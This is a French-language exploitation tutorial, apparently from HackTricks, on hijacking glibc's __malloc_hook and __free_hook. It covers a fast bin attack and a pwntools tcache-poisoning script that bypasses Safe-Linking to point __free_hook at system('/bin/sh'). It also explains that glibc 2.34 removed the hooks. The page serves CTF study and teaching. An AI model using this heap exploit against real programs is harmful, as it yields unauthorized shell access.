7.8 KiB
WWW2Exec - __malloc_hook & __free_hook
{{#include ../../banners/hacktricks-training.md}}
Malloc Hook
Comme vous pouvez le voir sur le site officiel de GNU, la variable __malloc_hook
est un pointeur pointant vers l'adresse d'une fonction qui sera appelée chaque fois que malloc()
est appelée stockée dans la section de données de la bibliothèque libc. Par conséquent, si cette adresse est écrasée avec un One Gadget par exemple et que malloc
est appelé, le One Gadget sera appelé.
Pour appeler malloc, il est possible d'attendre que le programme l'appelle ou en appelant printf("%10000$c")
qui alloue trop d'octets, ce qui fait que libc
appelle malloc pour les allouer dans le tas.
Plus d'infos sur One Gadget dans :
{{#ref}} ../rop-return-oriented-programing/ret2lib/one-gadget.md {{#endref}}
Warning
Notez que les hooks sont désactivés pour GLIBC >= 2.34. Il existe d'autres techniques qui peuvent être utilisées sur les versions modernes de GLIBC. Voir : https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md.
Free Hook
Cela a été abusé dans un des exemples de la page abusant d'une attaque de fast bin après avoir abusé d'une attaque d'unsorted bin :
{{#ref}} ../libc-heap/unsorted-bin-attack.md {{#endref}}
Il est possible de trouver l'adresse de __free_hook
si le binaire a des symboles avec la commande suivante :
gef➤ p &__free_hook
Dans le post, vous pouvez trouver un guide étape par étape sur la façon de localiser l'adresse du free hook sans symboles. En résumé, dans la fonction free :
gef➤ x/20i free
0xf75dedc0 : push ebx
0xf75dedc1 : call 0xf768f625
0xf75dedc6 : add ebx,0x14323a
0xf75dedcc : sub esp,0x8
0xf75dedcf : mov eax,DWORD PTR [ebx-0x98]
0xf75dedd5 : mov ecx,DWORD PTR [esp+0x10]
0xf75dedd9 : mov eax,DWORD PTR [eax]--- BREAK HERE
0xf75deddb : test eax,eax ;<
0xf75deddd : jne 0xf75dee50
Dans le point d'arrêt mentionné dans le code précédent, $eax
contiendra l'adresse du free hook.
Maintenant, une attaque fast bin est effectuée :
- Tout d'abord, il est découvert qu'il est possible de travailler avec des chunks de taille 200 à l'emplacement de
__free_hook
: -
gef➤ p &__free_hook
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
- Si nous parvenons à obtenir un chunk rapide de taille 0x200 à cet emplacement, il sera possible d'écraser un pointeur de fonction qui sera exécuté.
- Pour cela, un nouveau chunk de taille
0xfc
est créé et la fonction fusionnée est appelée avec ce pointeur deux fois, de cette façon nous obtenons un pointeur vers un chunk libéré de taille0xfc*2 = 0x1f8
dans le fast bin. - Ensuite, la fonction d'édition est appelée dans ce chunk pour modifier l'adresse
fd
de ce fast bin afin de pointer vers la fonction__free_hook
précédente. - Ensuite, un chunk de taille
0x1f8
est créé pour récupérer du fast bin le chunk inutile précédent, donc un autre chunk de taille0x1f8
est créé pour obtenir un chunk fast bin dans le__free_hook
qui est écrasé avec l'adresse de la fonctionsystem
. - Et enfin, un chunk contenant la chaîne
/bin/sh\x00
est libéré en appelant la fonction de suppression, déclenchant la fonction__free_hook
qui pointe vers system avec/bin/sh\x00
comme paramètre.
Poisoning de Tcache & Safe-Linking (glibc 2.32 – 2.33)
glibc 2.32 a introduit Safe-Linking – un contrôle d'intégrité qui protège les listes simplement liées utilisées par tcache et fast-bins. Au lieu de stocker un pointeur avant brut (fd
), ptmalloc le stocke maintenant obfusqué avec le macro suivant :
#define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr))
#define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr)
Conséquences de l'exploitation :
- Un heap leak est obligatoire – l'attaquant doit connaître la valeur d'exécution de
chunk_addr >> 12
pour créer un pointeur obfusqué valide. - Seul le pointeur de 8 octets complet peut être forgé ; les écrasements partiels d'un octet ne passeront pas la vérification.
Un primitive de tcache-poisoning minimale qui écrase __free_hook
sur glibc 2.32/2.33 ressemble donc à :
from pwn import *
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process("./vuln")
# 1. Leak a heap pointer (e.g. via UAF or show-after-free)
heap_leak = u64(p.recvuntil(b"\n")[:6].ljust(8, b"\x00"))
heap_base = heap_leak & ~0xfff
fd_key = heap_base >> 12 # value used by PROTECT_PTR
log.success(f"heap @ {hex(heap_base)}")
# 2. Prepare two same-size chunks and double-free one of them
a = malloc(0x48)
b = malloc(0x48)
free(a)
free(b)
free(a) # tcache double-free ⇒ poisoning primitive
# 3. Forge obfuscated fd that points to __free_hook
free_hook = libc.sym['__free_hook']
poison = free_hook ^ fd_key
edit(a, p64(poison)) # overwrite fd of tcache entry
# 4. Two mallocs: the second one returns a pointer to __free_hook
malloc(0x48) # returns chunk a
c = malloc(0x48) # returns chunk @ __free_hook
edit(c, p64(libc.sym['system']))
# 5. Trigger
bin_sh = malloc(0x48)
edit(bin_sh, b"/bin/sh\x00")
free(bin_sh)
Le extrait ci-dessus a été adapté des récents défis CTF tels que UIUCTF 2024 – «Rusty Pointers» et openECSC 2023 – «Babyheap G», qui reposaient tous deux sur des contournements de Safe-Linking pour écraser __free_hook
.
Qu'est-ce qui a changé dans glibc ≥ 2.34 ?
À partir de glibc 2.34 (août 2021), les hooks d'allocation __malloc_hook
, __realloc_hook
, __memalign_hook
et __free_hook
ont été supprimés de l'API publique et ne sont plus invoqués par l'allocateur. Des symboles de compatibilité sont toujours exportés pour les binaires hérités, mais les écrasements ne influencent plus le flux de contrôle de malloc()
ou free()
.
Implication pratique : sur les distributions modernes (Ubuntu 22.04+, Fedora 35+, Debian 12, etc.), vous devez passer à d'autres primitives de détournement (IO-FILE, __run_exit_handlers
, vtable spraying, etc.) car les écrasements de hooks échoueront silencieusement.
Si vous avez encore besoin du comportement ancien pour le débogage, glibc fournit libc_malloc_debug.so
qui peut être préchargé pour réactiver les hooks hérités – mais la bibliothèque n'est pas destinée à la production et pourrait disparaître dans de futures versions.
Références
- https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook
- https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md.
- Safe-Linking – Élimination d'une primitive d'exploitation malloc() vieille de 20 ans (Check Point Research, 2020)
- Notes de version de glibc 2.34 – suppression des hooks malloc
{{#include ../../banners/hacktricks-training.md}}